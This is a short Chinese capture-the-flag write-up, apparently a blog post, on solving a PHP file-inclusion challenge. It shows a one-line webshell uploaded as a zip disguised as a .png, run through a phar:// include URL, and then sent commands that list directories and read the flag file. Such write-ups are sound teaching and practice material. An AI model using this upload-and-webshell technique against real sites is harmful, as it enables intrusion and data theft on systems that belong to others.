Contents

当时这道题并没有做出来,也并没有意识到会是文件包含,去年参加比赛的时候,太萌新了,机缘巧合遇到出题人才想起来再次去看这道题。

考点为php伪协议文件包含

首先点击上传文件,上传后发现,url变成了

1
http://40.125.170.89:8007/index.php?poj=show&imageid=925cb008b81193fb099183c40091de07677ac5c6

尝试将show替换为index,发现被成功包含执行,判定此处存在文件包含漏洞,但是拼接了.php

此时采用phar协议或者zip协议绕过

然后将一句话木马压缩成zip格式的压缩包,然后将拓展名改为png,上传,并使用phar协议执行

1
http://40.125.170.89:8007/index.php?poj=phar://uploads/775edc76cc887daa1b6c3423c33f7aa3d1ac76db.png/a

尝试system发现可以使用,于是直接POST传值

1
cmd=system("ls");

列出当前目录,发现

1
css function.php index.php show.php tHe_flAg_1s_Here.php upload.php uploads

直接

1
cmd=system("cat tHe_flAg_1s_Here.php");

右击查看源代码即可

1
2
3
4
flag is here
<?php
//flag{yjnfrtgertyhrtyjnbvf1sn0Tifbgt}
?>

如果system函数被禁用,则可以尝试scandir函数

1
cmd=print_r(scandir("."));//列出当前目录下的所有文件
1
Array ( [0] => . [1] => .. [2] => css [3] => function.php [4] => index.php [5] => show.php [6] => tHe_flAg_1s_Here.php [7] => upload.php [8] => uploads )

使用show_source函数,查看文件内容

1
cmd=show_source('tHe_flAg_1s_Here.php');
Contents